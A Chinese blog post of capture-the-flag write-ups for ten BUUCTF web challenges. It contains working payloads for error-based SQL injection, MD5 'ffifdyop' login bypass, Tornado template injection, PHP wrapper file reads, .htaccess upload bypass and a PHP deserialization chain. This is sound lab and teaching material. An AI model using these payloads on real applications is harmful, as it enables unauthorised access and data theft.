Buuctf-Web(17-26)

17[RoarCTF 2019]Easy Calc

利用PHP的字符串解析特性绕过安全防护软件 - FreeBuf网络安全行业门户

【BUUCTF】 RoarCTF 2019]Easy Calc 详细题解笔记 Writeup_scandir被过滤-CSDN博客

RoarCTF 2019 - Easy Calc - ch0bits - 博客园 (cnblogs.com)

一个计算器,看源码

image-20240524090434483

尝试访问calc.php

image-20240524090520908

PHP字符串解析特性绕过WAF

输入时发现num只能输入数字,输入字符无法解析。
PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)

现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。

禁用函数了system():用scandir()、var_dump()、chr()绕过

scandir()函数:返回指定目录中的文件和目录的数组
https://www.runoob.com/php/func-directory-scandir.html

var_dump():输出变量的相关信息

chr(): 返回值是当前整数对应的 ASCII 字符。
https://www.runoob.com/python/python-func-chr.html

构造payload,num前面加空格绕过限制上传字符:由于scandir("/")能扫描根目录,但是过滤了"/",就使用ASCII值绕过

calc.php? num=1;var_dump(scandir(chr(47)))

image-20240524091819377

发现f1agg文件,读取

calc.php? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

image-20240524091948798

18[极客大挑战 2019]BuyFlag

[极客大挑战 2019]BuyFlag 1(两种解法)-腾讯云开发者社区-腾讯云 (tencent.com)

打开菜单,进入payflag界面

image-20240524131258464

查看源码,发现hint

image-20240524131223783

is_numeric() 函数用于检测变量是否为数字或数字字符串。

post传入password,password不能为数字或者数字字符串并且passsword弱等于404

php弱比较

在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。

PS C:\Users\Administrator> php -r "var_dump('404'==404);"
bool(true)
PS C:\Users\Administrator> php -r "var_dump(is_numeric('404'));"
bool(true)
PS C:\Users\Administrator> php -r "var_dump(is_numeric('404mochu'));"
bool(false)
PS C:\Users\Administrator> php -r "var_dump(404 == '404mochu');"
bool(true)

根据提示填写user,money,pasword

image-20240524132850472

image-20240524132825859

image-20240524132759450

数字长度绕过

提示数字太长,两种绕过方式

科学计数法money=1e9
数组money[]=1

19[BJDCTF2020]Easy MD5

[buuctf- BJDCTF2020]Easy MD5 (小宇特详解)_buuctf md5-CSDN博客

image-20240524133421796

抓包,看到hint

image-20240524134245373

MD5语法

标准格式

md5(string,raw)

参数 描述
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数

这里的是原始16字符二进制格式

这里说一下两个的联系,这里的16位秘文和32位秘文的第8-24位子字符串时一样的,也就是中间的16位。

这里的原始16字符二进制格式一般会有乱码,如果想解决的话

1.对输出的16位字节的二进制转换为十六进制。

2.取32位秘文的中间16位

如果MD5值经过hex后,就构成万能密码进行了sql注入,这个就是这个题的关键

在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数。

要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。

如果只有数字的话就不用单引号

这里有个脚本能够跑出来

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

这里用:

ffifdyop

这个MD5加密后会返回’or’6XXXXXXXXX(这里的XXXXX是一些乱码和不可见字符)

这里的SQL语句会变成

select * from `admin` where password=''or'6XXXXXXXXX'  

image-20240524134751743

进入第二关

查看源码

image-20240524134906185

典型MD5弱比较 ,get传参

  • QNKCDZO

  • 240610708

    进入第三关

image-20240524140129396

强比较,数组绕过

param1[]=1

param2[]=2

image-20240524144043392

20[HCTF 2018]admin

弱口令

image-20240524144307626

打开菜单进入登录框,尝试登录

image-20240524144533448

尝试注册

当注册用户为admin时提示用户已存在

当注册成功后登录,没发现什么

image-20240524145219424

尝试对admin用户爆破密码

image-20240524145916764

image-20240524150308896

还有另外三种解法

[HCTF 2018]admin 1-CSDN博客

21[MRCTF2020]你传你🐎呢

文件上传漏洞

一般可以检查的地方有:
后缀名、content-type、文件头的部分内容

image-20240524151924519

改后缀名,加上文件头

image-20240524152150289

改成jpg文件后缀,通过.htaccess解析漏洞绕过

.htaccess解析漏洞

image-20240524153247999

image-20240524165648083

路径/upload/db2f7e5d2eed1c629171a53f204f350c/2.jpg

我们需要这个解析成php文件,需要再传一个htaccess文件

image-20240524153530254

当时做的时候.htacess文件没有解析成功,后来在其他题又遇到这种情况花时间解决了,改了.htaccess的内容,仅供参考,这个可以把.htaccess文件目录及子目录下的所有文件解析为php文件(主打省事儿,不过容易误伤其他文件,不够精确)

image-20240525094831871

image-20240525095508276

22[护网杯 2018]easy_tornado

打开有三个连接,一一来看

image-20240524155820894

image-20240524155830510

image-20240524155854555

image-20240524155904622

我们知道flag在/fllllllllllllag文件

哈希值=md5(cookie_secret+md5(filename))

注意这里文件名要加上/

我们需要找到cookie_secret

render函数

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
由于是python的一个模板,首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg。
render是模板注入,经过测试发现过滤了。构造payload:`/error?msg={{1*2}}`

image-20240524171644476

tornado模板(handler.settings)

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings
handler指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

构造payload/error?msg={{handler.settings}}

image-20240524171802543

得到cookie_secret=e0c79895-a6db-40d5-9d1c-e91a8ddd3b16

哈希值=md5(cookie_secret+md5(filename))

哈希值=md5(e0c79895-a6db-40d5-9d1c-e91a8ddd3b16+md5(/fllllllllllllag))

e0c79895-a6db-40d5-9d1c-e91a8ddd3b16+3bf9f6cf685a6dd8defadabfb41a03a1

ec649f2ee0f4c6062d87758595900efc

/file?filename=/fllllllllllllag&filehash=ec649f2ee0f4c6062d87758595900efc

注意选择小写加密:

image-20240524172757276

image-20240524172728818

23[ZJCTF 2019]NiZhuanSiWei

知识点:伪协议

PHP伪协议总结 - 个人文章 - SegmentFault 思否

image-20240524173626773

第一层:

file_get_contents() 把整个文件读入一个字符串中。

我们使用data协议

image-20240524175211330

?text=data://text/plain,welcome to the zjctf

第二层:

正则过滤掉flag,而题目又提示了useless.php

?text=data://text/plain,welcome to the zjctf&file=useless.php

为了通过第三层,用php://filter协议来读取useless.php:

image-20240524175841911

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

image-20240524175952556

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo

base64解码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

第三层

根据第二层的代码

我们给$file赋值flag.php然后反序列化

image-20240524181108469

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20240524181127130

flag在源码里

image-20240524181138686

24[极客大挑战 2019]HardSQL

image-20240524192810935

尝试万能密码

image-20240524192908260

image-20240524192858492

密码框输入万能密码也是一样的结果

在尝试后发现是过滤了一些东西比如=,union select,order by

我们用fuzz字典查看过滤了什么

空格,等于号也过滤了,观察发现可以使用报错注入

两个函数

extractvalue()

查数据库名:id=1' and extractvalue(1,concat(0x7e,(select database())))
爆表名:id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
爆字段名:id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))
爆数据:id=1' and extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))

爆数据库名

用’^'来连接函数,形成异或,用Iike代替等于号

?username=1'or(extractvalue(1,concat(0x7e,(select(database())))))#&password=123
?username=1'^extractvalue(1,concat(0x7e,(select(database()))))#&password=123

url:%27单引号 %23井号%20空格

?username=1'or(extractvalue(1,concat(0x7e,(select(database())))))%23&password=123

image-20240524201502358

得到数据库名:geek

爆表名

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

image-20240524201850638

得到表名H4rDsq1

爆列名:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

id,username,password

爆数据

?username=admin&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23

image-20240524203646392

局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串

?username=admin&password=1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))%23

image-20240524203404364

updatexml()

[非常经典的一道SQL报错注入题目极客大挑战 2019]HardSQL 1(两种解法!)-腾讯云开发者社区-腾讯云 (tencent.com)

25[MRCTF2020]Ez_bypass

image-20240524203820155

image-20240524204307095

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {      
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {				 //第一层
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {						
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)					//第二层
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }

}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

第一层:用数组绕过

MD5强比较

?id[]=1&gg[]=2

第二层

php弱比较

在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。

我们只需passwd=1234567admin即可

image-20240524205207575

26[网鼎杯 2020 青龙组]AreUSerialz

php反序列化、伪协议

好多字哦

image-20240524213421278

<?php
 
include("flag.php");
 
highlight_file(__FILE__);
 
class FileHandler {
 
    protected $op;
    protected $filename;
    protected $content;
 
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
 
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
 
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
 
}
 
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
 
if(isset($_GET{'str'})) {
 
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
 
}

分析:

read()读取文件,output()输出内容来获得flag

这两个函数在process方法里op弱等于字符串2时调用,而process方在析构函数__destruct中调用,并且destruct中当op强等于字符串2时,改op的值为1,造成结果就是destruct调用process之后无法调用read和output函数,因此我们应该让op强等于字符串2时为false,弱等于字符串2为true,我们只需让op等于数字2即可

pop链:__destruct()--->process()-->read()--->output()

is_valid()函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。

绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

read方法中,使用file_get_contents()函数来读取属性filename路径的文件,我们可以使用伪协议来读取

php://filter/read=convert.base64-encode/resource=flag.php
<?php

class FileHandler {

    public $op = 2;
    public  $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public  $content = "2"; 
    //因为destruce函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)

}

$a = new FileHandler();
$b = serialize($a);
echo $b;

?>

image-20240524221511083

image-20240524221539015

image-20240524221602272

posted @ 2024-06-04 13:13  machacha  阅读(15)  评论(0编辑  收藏  举报